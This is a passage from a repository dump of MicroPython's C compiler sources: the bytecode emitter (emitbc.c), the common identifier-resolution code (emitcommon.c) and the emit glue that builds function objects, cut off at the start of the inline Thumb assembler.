emit_bc_pre(emit, -1);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_STORE_GLOBAL, qst);\n}\n\nvoid mp_emit_bc_store_attr(emit_t *emit, qstr qst) {\n    emit_bc_pre(emit, -2);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_STORE_ATTR, qst);\n    if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) {\n        emit_write_bytecode_byte(emit, 0);\n    }\n}\n\nvoid mp_emit_bc_store_subscr(emit_t *emit) {\n    emit_bc_pre(emit, -3);\n    emit_write_bytecode_byte(emit, MP_BC_STORE_SUBSCR);\n}\n\nvoid mp_emit_bc_delete_fast(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    (void)qst;\n    emit_write_bytecode_byte_uint(emit, MP_BC_DELETE_FAST, local_num);\n}\n\nvoid mp_emit_bc_delete_deref(emit_t *emit, qstr qst, mp_uint_t local_num) {\n    (void)qst;\n    emit_write_bytecode_byte_uint(emit, MP_BC_DELETE_DEREF, local_num);\n}\n\nvoid mp_emit_bc_delete_name(emit_t *emit, qstr qst) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_DELETE_NAME, qst);\n}\n\nvoid mp_emit_bc_delete_global(emit_t *emit, qstr qst) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte_qstr(emit, MP_BC_DELETE_GLOBAL, qst);\n}\n\nvoid mp_emit_bc_delete_attr(emit_t *emit, qstr qst) {\n    mp_emit_bc_load_null(emit);\n    mp_emit_bc_rot_two(emit);\n    mp_emit_bc_store_attr(emit, qst);\n}\n\nvoid mp_emit_bc_delete_subscr(emit_t *emit) {\n    mp_emit_bc_load_null(emit);\n    mp_emit_bc_rot_three(emit);\n    mp_emit_bc_store_subscr(emit);\n}\n\nvoid mp_emit_bc_dup_top(emit_t *emit) {\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte(emit, MP_BC_DUP_TOP);\n}\n\nvoid mp_emit_bc_dup_top_two(emit_t *emit) {\n    emit_bc_pre(emit, 2);\n    emit_write_bytecode_byte(emit, MP_BC_DUP_TOP_TWO);\n}\n\nvoid mp_emit_bc_pop_top(emit_t *emit) {\n    emit_bc_pre(emit, -1);\n    emit_write_bytecode_byte(emit, MP_BC_POP_TOP);\n}\n\nvoid mp_emit_bc_rot_two(emit_t *emit) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte(emit, MP_BC_ROT_TWO);\n}\n\nvoid mp_emit_bc_rot_three(emit_t *emit) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte(emit, MP_BC_ROT_THREE);\n}\n\nvoid mp_emit_bc_jump(emit_t *emit, mp_uint_t label) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte_signed_label(emit, MP_BC_JUMP, label);\n}\n\nvoid mp_emit_bc_pop_jump_if(emit_t *emit, bool cond, mp_uint_t label) {\n    emit_bc_pre(emit, -1);\n    if (cond) {\n        emit_write_bytecode_byte_signed_label(emit, MP_BC_POP_JUMP_IF_TRUE, label);\n    } else {\n        emit_write_bytecode_byte_signed_label(emit, MP_BC_POP_JUMP_IF_FALSE, label);\n    }\n}\n\nvoid mp_emit_bc_jump_if_or_pop(emit_t *emit, bool cond, mp_uint_t label) {\n    emit_bc_pre(emit, -1);\n    if (cond) {\n        emit_write_bytecode_byte_signed_label(emit, MP_BC_JUMP_IF_TRUE_OR_POP, label);\n    } else {\n        emit_write_bytecode_byte_signed_label(emit, MP_BC_JUMP_IF_FALSE_OR_POP, label);\n    }\n}\n\nvoid mp_emit_bc_unwind_jump(emit_t *emit, mp_uint_t label, mp_uint_t except_depth) {\n    if (except_depth == 0) {\n        emit_bc_pre(emit, 0);\n        if (label & MP_EMIT_BREAK_FROM_FOR) {\n            // need to pop the iterator if we are breaking out of a for loop\n            emit_write_bytecode_byte(emit, MP_BC_POP_TOP);\n            // also pop the iter_buf\n            for (size_t i = 0; i < MP_OBJ_ITER_BUF_NSLOTS - 1; ++i) {\n                emit_write_bytecode_byte(emit, MP_BC_POP_TOP);\n            }\n        }\n        emit_write_bytecode_byte_signed_label(emit, MP_BC_JUMP, label & ~MP_EMIT_BREAK_FROM_FOR);\n    } else {\n        emit_write_bytecode_byte_signed_label(emit, MP_BC_UNWIND_JUMP, label & ~MP_EMIT_BREAK_FROM_FOR);\n        emit_write_bytecode_byte(emit, ((label & MP_EMIT_BREAK_FROM_FOR) ? 0x80 : 0) | except_depth);\n    }\n}\n\nvoid mp_emit_bc_setup_with(emit_t *emit, mp_uint_t label) {\n    // The SETUP_WITH opcode pops ctx_mgr from the top of the stack\n    // and then pushes 3 entries: __exit__, ctx_mgr, as_value.\n    emit_bc_pre(emit, 2);\n    emit_write_bytecode_byte_unsigned_label(emit, MP_BC_SETUP_WITH, label);\n}\n\nvoid mp_emit_bc_with_cleanup(emit_t *emit, mp_uint_t label) {\n    mp_emit_bc_pop_block(emit);\n    mp_emit_bc_load_const_tok(emit, MP_TOKEN_KW_NONE);\n    mp_emit_bc_label_assign(emit, label);\n    emit_bc_pre(emit, 2); // ensure we have enough stack space to call the __exit__ method\n    emit_write_bytecode_byte(emit, MP_BC_WITH_CLEANUP);\n    emit_bc_pre(emit, -4); // cancel the 2 above, plus the 2 from mp_emit_bc_setup_with\n}\n\nvoid mp_emit_bc_setup_except(emit_t *emit, mp_uint_t label) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte_unsigned_label(emit, MP_BC_SETUP_EXCEPT, label);\n}\n\nvoid mp_emit_bc_setup_finally(emit_t *emit, mp_uint_t label) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte_unsigned_label(emit, MP_BC_SETUP_FINALLY, label);\n}\n\nvoid mp_emit_bc_end_finally(emit_t *emit) {\n    emit_bc_pre(emit, -1);\n    emit_write_bytecode_byte(emit, MP_BC_END_FINALLY);\n}\n\nvoid mp_emit_bc_get_iter(emit_t *emit, bool use_stack) {\n    emit_bc_pre(emit, use_stack ? MP_OBJ_ITER_BUF_NSLOTS - 1 : 0);\n    emit_write_bytecode_byte(emit, use_stack ? MP_BC_GET_ITER_STACK : MP_BC_GET_ITER);\n}\n\nvoid mp_emit_bc_for_iter(emit_t *emit, mp_uint_t label) {\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte_unsigned_label(emit, MP_BC_FOR_ITER, label);\n}\n\nvoid mp_emit_bc_for_iter_end(emit_t *emit) {\n    emit_bc_pre(emit, -MP_OBJ_ITER_BUF_NSLOTS);\n}\n\nvoid mp_emit_bc_pop_block(emit_t *emit) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte(emit, MP_BC_POP_BLOCK);\n}\n\nvoid mp_emit_bc_pop_except(emit_t *emit) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte(emit, MP_BC_POP_EXCEPT);\n}\n\nvoid mp_emit_bc_unary_op(emit_t *emit, mp_unary_op_t op) {\n    emit_bc_pre(emit, 0);\n    emit_write_bytecode_byte(emit, MP_BC_UNARY_OP_MULTI + op);\n}\n\nvoid mp_emit_bc_binary_op(emit_t *emit, mp_binary_op_t op) {\n    bool invert = false;\n    if (op == MP_BINARY_OP_NOT_IN) {\n        invert = true;\n        op = MP_BINARY_OP_IN;\n    } else if (op == MP_BINARY_OP_IS_NOT) {\n        invert = true;\n        op = MP_BINARY_OP_IS;\n    }\n    emit_bc_pre(emit, -1);\n    emit_write_bytecode_byte(emit, MP_BC_BINARY_OP_MULTI + op);\n    if (invert) {\n        emit_bc_pre(emit, 0);\n        emit_write_bytecode_byte(emit, MP_BC_UNARY_OP_MULTI + MP_UNARY_OP_NOT);\n    }\n}\n\nvoid mp_emit_bc_build_tuple(emit_t *emit, mp_uint_t n_args) {\n    emit_bc_pre(emit, 1 - n_args);\n    emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_TUPLE, n_args);\n}\n\nvoid mp_emit_bc_build_list(emit_t *emit, mp_uint_t n_args) {\n    emit_bc_pre(emit, 1 - n_args);\n    emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_LIST, n_args);\n}\n\nvoid mp_emit_bc_build_map(emit_t *emit, mp_uint_t n_args) {\n    emit_bc_pre(emit, 1);\n    emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_MAP, n_args);\n}\n\nvoid mp_emit_bc_store_map(emit_t *emit) {\n    emit_bc_pre(emit, -2);\n    emit_write_bytecode_byte(emit, MP_BC_STORE_MAP);\n}\n\n#if MICROPY_PY_BUILTINS_SET\nvoid mp_emit_bc_build_set(emit_t *emit, mp_uint_t n_args) {\n    emit_bc_pre(emit, 1 - n_args);\n    emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_SET, n_args);\n}\n#endif\n\n#if MICROPY_PY_BUILTINS_SLICE\nvoid mp_emit_bc_build_slice(emit_t *emit, mp_uint_t n_args) {\n    emit_bc_pre(emit, 1 - n_args);\n    emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_SLICE, n_args);\n}\n#endif\n\nvoid mp_emit_bc_store_comp(emit_t *emit, scope_kind_t kind, mp_uint_t collection_stack_index) {\n    int t;\n    int n;\n    if (kind == SCOPE_LIST_COMP) {\n        n = 0;\n        t = 0;\n    } else if (!MICROPY_PY_BUILTINS_SET || kind == SCOPE_DICT_COMP) {\n        n = 1;\n        t = 1;\n    } else if (MICROPY_PY_BUILTINS_SET) {\n        n = 0;\n        t = 2;\n    }\n    emit_bc_pre(emit, -1 - n);\n    // the lower 2 bits of the opcode argument indicate the collection type\n    emit_write_bytecode_byte_uint(emit, MP_BC_STORE_COMP, ((collection_stack_index + n) << 2) | t);\n}\n\nvoid mp_emit_bc_unpack_sequence(emit_t *emit, mp_uint_t n_args) {\n    emit_bc_pre(emit, -1 + n_args);\n    emit_write_bytecode_byte_uint(emit, MP_BC_UNPACK_SEQUENCE, n_args);\n}\n\nvoid mp_emit_bc_unpack_ex(emit_t *emit, mp_uint_t n_left, mp_uint_t n_right) {\n    emit_bc_pre(emit, -1 + n_left + n_right + 1);\n    emit_write_bytecode_byte_uint(emit, MP_BC_UNPACK_EX, n_left | (n_right << 8));\n}\n\nvoid mp_emit_bc_make_function(emit_t *emit, scope_t *scope, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults) {\n    if (n_pos_defaults == 0 && n_kw_defaults == 0) {\n        emit_bc_pre(emit, 1);\n        emit_write_bytecode_byte_raw_code(emit, MP_BC_MAKE_FUNCTION, scope->raw_code);\n    } else {\n        emit_bc_pre(emit, -1);\n        emit_write_bytecode_byte_raw_code(emit, MP_BC_MAKE_FUNCTION_DEFARGS, scope->raw_code);\n    }\n}\n\nvoid mp_emit_bc_make_closure(emit_t *emit, scope_t *scope, mp_uint_t n_closed_over, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults) {\n    if (n_pos_defaults == 0 && n_kw_defaults == 0) {\n        emit_bc_pre(emit, -n_closed_over + 1);\n        emit_write_bytecode_byte_raw_code(emit, MP_BC_MAKE_CLOSURE, scope->raw_code);\n        emit_write_bytecode_byte(emit, n_closed_over);\n    } else {\n        assert(n_closed_over <= 255);\n        emit_bc_pre(emit, -2 - (mp_int_t)n_closed_over + 1);\n        emit_write_bytecode_byte_raw_code(emit, MP_BC_MAKE_CLOSURE_DEFARGS, scope->raw_code);\n        emit_write_bytecode_byte(emit, n_closed_over);\n    }\n}\n\nSTATIC void emit_bc_call_function_method_helper(emit_t *emit, mp_int_t stack_adj, mp_uint_t bytecode_base, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) {\n    if (star_flags) {\n        emit_bc_pre(emit, stack_adj - (mp_int_t)n_positional - 2 * (mp_int_t)n_keyword - 2);\n        emit_write_bytecode_byte_uint(emit, bytecode_base + 1, (n_keyword << 8) | n_positional); // TODO make it 2 separate uints?\n    } else {\n        emit_bc_pre(emit, stack_adj - (mp_int_t)n_positional - 2 * (mp_int_t)n_keyword);\n        emit_write_bytecode_byte_uint(emit, bytecode_base, (n_keyword << 8) | n_positional); // TODO make it 2 separate uints?\n    }\n}\n\nvoid mp_emit_bc_call_function(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) {\n    emit_bc_call_function_method_helper(emit, 0, MP_BC_CALL_FUNCTION, n_positional, n_keyword, star_flags);\n}\n\nvoid mp_emit_bc_call_method(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) {\n    emit_bc_call_function_method_helper(emit, -1, MP_BC_CALL_METHOD, n_positional, n_keyword, star_flags);\n}\n\nvoid mp_emit_bc_return_value(emit_t *emit) {\n    emit_bc_pre(emit, -1);\n    emit->last_emit_was_return_value = true;\n    emit_write_bytecode_byte(emit, MP_BC_RETURN_VALUE);\n}\n\nvoid mp_emit_bc_raise_varargs(emit_t *emit, mp_uint_t n_args) {\n    assert(n_args <= 2);\n    emit_bc_pre(emit, -n_args);\n    emit_write_bytecode_byte_byte(emit, MP_BC_RAISE_VARARGS, n_args);\n}\n\nvoid mp_emit_bc_yield_value(emit_t *emit) {\n    emit_bc_pre(emit, 0);\n    emit->scope->scope_flags |= MP_SCOPE_FLAG_GENERATOR;\n    emit_write_bytecode_byte(emit, MP_BC_YIELD_VALUE);\n}\n\nvoid mp_emit_bc_yield_from(emit_t *emit) {\n    emit_bc_pre(emit, -1);\n    emit->scope->scope_flags |= MP_SCOPE_FLAG_GENERATOR;\n    emit_write_bytecode_byte(emit, MP_BC_YIELD_FROM);\n}\n\nvoid mp_emit_bc_start_except_handler(emit_t *emit) {\n    mp_emit_bc_adjust_stack_size(emit, 4); // stack adjust for the exception instance, +3 for possible UNWIND_JUMP state\n}\n\nvoid mp_emit_bc_end_except_handler(emit_t *emit) {\n    mp_emit_bc_adjust_stack_size(emit, -3); // stack adjust\n}\n\n#if MICROPY_EMIT_NATIVE\nconst emit_method_table_t emit_bc_method_table = {\n    NULL, // set_native_type is never called when emitting bytecode\n    mp_emit_bc_start_pass,\n    mp_emit_bc_end_pass,\n    mp_emit_bc_last_emit_was_return_value,\n    mp_emit_bc_adjust_stack_size,\n    mp_emit_bc_set_source_line,\n\n    {\n        mp_emit_bc_load_fast,\n        mp_emit_bc_load_deref,\n        mp_emit_bc_load_name,\n        mp_emit_bc_load_global,\n    },\n    {\n        mp_emit_bc_store_fast,\n        mp_emit_bc_store_deref,\n        mp_emit_bc_store_name,\n        mp_emit_bc_store_global,\n    },\n    {\n        mp_emit_bc_delete_fast,\n        mp_emit_bc_delete_deref,\n        mp_emit_bc_delete_name,\n        mp_emit_bc_delete_global,\n    },\n\n    mp_emit_bc_label_assign,\n    mp_emit_bc_import_name,\n    mp_emit_bc_import_from,\n    mp_emit_bc_import_star,\n    mp_emit_bc_load_const_tok,\n    mp_emit_bc_load_const_small_int,\n    mp_emit_bc_load_const_str,\n    mp_emit_bc_load_const_obj,\n    mp_emit_bc_load_null,\n    mp_emit_bc_load_attr,\n    mp_emit_bc_load_method,\n    mp_emit_bc_load_build_class,\n    mp_emit_bc_load_subscr,\n    mp_emit_bc_store_attr,\n    mp_emit_bc_store_subscr,\n    mp_emit_bc_delete_attr,\n    mp_emit_bc_delete_subscr,\n    mp_emit_bc_dup_top,\n    mp_emit_bc_dup_top_two,\n    mp_emit_bc_pop_top,\n    mp_emit_bc_rot_two,\n    mp_emit_bc_rot_three,\n    mp_emit_bc_jump,\n    mp_emit_bc_pop_jump_if,\n    mp_emit_bc_jump_if_or_pop,\n    mp_emit_bc_unwind_jump,\n    mp_emit_bc_unwind_jump,\n    mp_emit_bc_setup_with,\n    mp_emit_bc_with_cleanup,\n    mp_emit_bc_setup_except,\n    mp_emit_bc_setup_finally,\n    mp_emit_bc_end_finally,\n    mp_emit_bc_get_iter,\n    mp_emit_bc_for_iter,\n    mp_emit_bc_for_iter_end,\n    mp_emit_bc_pop_block,\n    mp_emit_bc_pop_except,\n    mp_emit_bc_unary_op,\n    mp_emit_bc_binary_op,\n    mp_emit_bc_build_tuple,\n    mp_emit_bc_build_list,\n    mp_emit_bc_build_map,\n    mp_emit_bc_store_map,\n    #if MICROPY_PY_BUILTINS_SET\n    mp_emit_bc_build_set,\n    #endif\n    #if MICROPY_PY_BUILTINS_SLICE\n    mp_emit_bc_build_slice,\n    #endif\n    mp_emit_bc_store_comp,\n    mp_emit_bc_unpack_sequence,\n    mp_emit_bc_unpack_ex,\n    mp_emit_bc_make_function,\n    mp_emit_bc_make_closure,\n    mp_emit_bc_call_function,\n    mp_emit_bc_call_method,\n    mp_emit_bc_return_value,\n    mp_emit_bc_raise_varargs,\n    mp_emit_bc_yield_value,\n    mp_emit_bc_yield_from,\n\n    mp_emit_bc_start_except_handler,\n    mp_emit_bc_end_except_handler,\n};\n#else\nconst mp_emit_method_table_id_ops_t mp_emit_bc_method_table_load_id_ops = {\n    mp_emit_bc_load_fast,\n    mp_emit_bc_load_deref,\n    mp_emit_bc_load_name,\n    mp_emit_bc_load_global,\n};\n\nconst mp_emit_method_table_id_ops_t mp_emit_bc_method_table_store_id_ops = {\n    mp_emit_bc_store_fast,\n    mp_emit_bc_store_deref,\n    mp_emit_bc_store_name,\n    mp_emit_bc_store_global,\n};\n\nconst mp_emit_method_table_id_ops_t mp_emit_bc_method_table_delete_id_ops = {\n    mp_emit_bc_delete_fast,\n    mp_emit_bc_delete_deref,\n    mp_emit_bc_delete_name,\n    mp_emit_bc_delete_global,\n};\n#endif\n\n#endif //MICROPY_ENABLE_COMPILER\n"
  },
  {
    "path": "micropython/source/py/emitcommon.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <assert.h>\n\n#include \"py/emit.h\"\n\n#if MICROPY_ENABLE_COMPILER\n\nvoid mp_emit_common_get_id_for_load(scope_t *scope, qstr qst) {\n    // name adding/lookup\n    bool added;\n    id_info_t *id = scope_find_or_add_id(scope, qst, &added);\n    if (added) {\n        scope_find_local_and_close_over(scope, id, qst);\n    }\n}\n\nvoid mp_emit_common_get_id_for_modification(scope_t *scope, qstr qst) {\n    // name adding/lookup\n    bool added;\n    id_info_t *id = scope_find_or_add_id(scope, qst, &added);\n    if (added) {\n        if (SCOPE_IS_FUNC_LIKE(scope->kind)) {\n            id->kind = ID_INFO_KIND_LOCAL;\n        } else {\n            id->kind = ID_INFO_KIND_GLOBAL_IMPLICIT;\n        }\n    } else if (SCOPE_IS_FUNC_LIKE(scope->kind) && id->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) {\n        // rebind as a local variable\n        id->kind = ID_INFO_KIND_LOCAL;\n    }\n}\n\nvoid mp_emit_common_id_op(emit_t *emit, const mp_emit_method_table_id_ops_t *emit_method_table, scope_t *scope, qstr qst) {\n    // assumes pass is greater than 1, ie that all identifiers are defined in the scope\n\n    id_info_t *id = scope_find(scope, qst);\n    assert(id != NULL);\n\n    // call the emit backend with the correct code\n    if (id->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) {\n        emit_method_table->name(emit, qst);\n    } else if (id->kind == ID_INFO_KIND_GLOBAL_EXPLICIT) {\n        emit_method_table->global(emit, qst);\n    } else if (id->kind == ID_INFO_KIND_LOCAL) {\n        emit_method_table->fast(emit, qst, id->local_num);\n    } else {\n        assert(id->kind == ID_INFO_KIND_CELL || id->kind == ID_INFO_KIND_FREE);\n        emit_method_table->deref(emit, qst, id->local_num);\n    }\n}\n\n#endif // MICROPY_ENABLE_COMPILER\n"
  },
  {
    "path": "micropython/source/py/emitglue.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n// This code glues the code emitters to the runtime.\n\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/emitglue.h\"\n#include \"py/runtime0.h\"\n#include \"py/bc.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_PRINT (1)\n#define WRITE_CODE (1)\n#define DEBUG_printf DEBUG_printf\n#define DEBUG_OP_printf(...) DEBUG_printf(__VA_ARGS__)\n#else // don't print debugging info\n#define DEBUG_printf(...) (void)0\n#define DEBUG_OP_printf(...) (void)0\n#endif\n\n#if MICROPY_DEBUG_PRINTERS\nmp_uint_t mp_verbose_flag = 0;\n#endif\n\nmp_raw_code_t *mp_emit_glue_new_raw_code(void) {\n    mp_raw_code_t *rc = m_new0(mp_raw_code_t, 1);\n    rc->kind = MP_CODE_RESERVED;\n    return rc;\n}\n\nvoid mp_emit_glue_assign_bytecode(mp_raw_code_t *rc, const byte *code, mp_uint_t len,\n    const mp_uint_t *const_table,\n    #if MICROPY_PERSISTENT_CODE_SAVE\n    uint16_t n_obj, uint16_t n_raw_code,\n    #endif\n    mp_uint_t scope_flags) {\n    (void)len; // possibly unused\n\n    rc->kind = MP_CODE_BYTECODE;\n    rc->scope_flags = scope_flags;\n    rc->data.u_byte.bytecode = code;\n    rc->data.u_byte.const_table = const_table;\n    #if MICROPY_PERSISTENT_CODE_SAVE\n    rc->data.u_byte.bc_len = len;\n    rc->data.u_byte.n_obj = n_obj;\n    rc->data.u_byte.n_raw_code = n_raw_code;\n    #endif\n\n#ifdef DEBUG_PRINT\n    DEBUG_printf(\"assign byte code: code=%p len=\" UINT_FMT \" flags=%x\\n\", code, len, (uint)scope_flags);\n#endif\n#if MICROPY_DEBUG_PRINTERS\n    if (mp_verbose_flag >= 2) {\n        mp_bytecode_print(rc, code, len, const_table);\n    }\n#endif\n}\n\n#if MICROPY_EMIT_NATIVE || MICROPY_EMIT_INLINE_ASM\nvoid mp_emit_glue_assign_native(mp_raw_code_t *rc, mp_raw_code_kind_t kind, void *fun_data, mp_uint_t fun_len, const mp_uint_t *const_table, mp_uint_t n_pos_args, mp_uint_t scope_flags, mp_uint_t type_sig) {\n    assert(kind == MP_CODE_NATIVE_PY || kind == MP_CODE_NATIVE_VIPER || kind == MP_CODE_NATIVE_ASM);\n    rc->kind = kind;\n    rc->scope_flags = scope_flags;\n    rc->n_pos_args = n_pos_args;\n    rc->data.u_native.fun_data = fun_data;\n    rc->data.u_native.const_table = const_table;\n    rc->data.u_native.type_sig = type_sig;\n\n#ifdef DEBUG_PRINT\n    DEBUG_printf(\"assign native: kind=%d fun=%p len=\" UINT_FMT \" n_pos_args=\" UINT_FMT \" flags=%x\\n\", kind, fun_data, fun_len, n_pos_args, (uint)scope_flags);\n    for (mp_uint_t i = 0; i < fun_len; i++) {\n        if (i > 0 && i % 16 == 0) {\n            DEBUG_printf(\"\\n\");\n        }\n        DEBUG_printf(\" %02x\", ((byte*)fun_data)[i]);\n    }\n    DEBUG_printf(\"\\n\");\n\n#ifdef WRITE_CODE\n    FILE *fp_write_code = fopen(\"out-code\", \"wb\");\n    fwrite(fun_data, fun_len, 1, fp_write_code);\n    fclose(fp_write_code);\n#endif\n#else\n    (void)fun_len;\n#endif\n}\n#endif\n\nmp_obj_t mp_make_function_from_raw_code(const mp_raw_code_t *rc, mp_obj_t def_args, mp_obj_t def_kw_args) {\n    DEBUG_OP_printf(\"make_function_from_raw_code %p\\n\", rc);\n    assert(rc != NULL);\n\n    // def_args must be MP_OBJ_NULL or a tuple\n    assert(def_args == MP_OBJ_NULL || MP_OBJ_IS_TYPE(def_args, &mp_type_tuple));\n\n    // def_kw_args must be MP_OBJ_NULL or a dict\n    assert(def_kw_args == MP_OBJ_NULL || MP_OBJ_IS_TYPE(def_kw_args, &mp_type_dict));\n\n    // make the function, depending on the raw code kind\n    mp_obj_t fun;\n    switch (rc->kind) {\n        #if MICROPY_EMIT_NATIVE\n        case MP_CODE_NATIVE_PY:\n            fun = mp_obj_new_fun_native(def_args, def_kw_args, rc->data.u_native.fun_data, rc->data.u_native.const_table);\n            break;\n        case MP_CODE_NATIVE_VIPER:\n            fun = mp_obj_new_fun_viper(rc->n_pos_args, rc->data.u_native.fun_data, rc->data.u_native.type_sig);\n            break;\n        #endif\n        #if MICROPY_EMIT_INLINE_ASM\n        case MP_CODE_NATIVE_ASM:\n            fun = mp_obj_new_fun_asm(rc->n_pos_args, rc->data.u_native.fun_data, rc->data.u_native.type_sig);\n            break;\n        #endif\n        default:\n            // rc->kind should always be set and BYTECODE is the only remaining case\n            assert(rc->kind == MP_CODE_BYTECODE);\n            fun = mp_obj_new_fun_bc(def_args, def_kw_args, rc->data.u_byte.bytecode, rc->data.u_byte.const_table);\n            break;\n    }\n\n    // check for generator functions and if so wrap in generator object\n    if ((rc->scope_flags & MP_SCOPE_FLAG_GENERATOR) != 0) {\n        fun = mp_obj_new_gen_wrap(fun);\n    }\n\n    return fun;\n}\n\nmp_obj_t mp_make_closure_from_raw_code(const mp_raw_code_t *rc, mp_uint_t n_closed_over, const mp_obj_t *args) {\n    DEBUG_OP_printf(\"make_closure_from_raw_code %p \" UINT_FMT \" %p\\n\", rc, n_closed_over, args);\n    // make function object\n    mp_obj_t ffun;\n    if (n_closed_over & 0x100) {\n        // default positional and keyword args given\n        ffun = mp_make_function_from_raw_code(rc, args[0], args[1]);\n    } else {\n        // default positional and keyword args not given\n        ffun = mp_make_function_from_raw_code(rc, MP_OBJ_NULL, MP_OBJ_NULL);\n    }\n    // wrap function in closure object\n    return mp_obj_new_closure(ffun, n_closed_over & 0xff, args + ((n_closed_over >> 7) & 2));\n}\n"
  },
  {
    "path": "micropython/source/py/emitinlinethumb.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdarg.h>\n#include <assert.h>\n\n#include \"py/emit.h\"\n#include \"py/asmthumb.h\"\n\n#if MICROPY_EMIT_INLINE_THUMB\n\ntypedef enum {\n// define rules with a compile function\n#define DEF_RULE(rule, comp, kind, ...) PN_##rule,\n#define DEF_RULE_NC(rule, kind, ...)\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n    PN_const_object, // special node for a constant, generic Python object\n// define rules without a compile function\n#define DEF_RULE(rule, comp, kind, ...)\n#define DEF_RULE_NC(rule, kind, ...) PN_##rule,\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n} pn_kind_t;\n\nstruct _emit_inline_asm_t {\n    asm_thumb_t as;\n    uint16_t pass;\n    mp_obj_t *error_slot;\n    mp_uint_t *co_data;\n    mp_uint_t 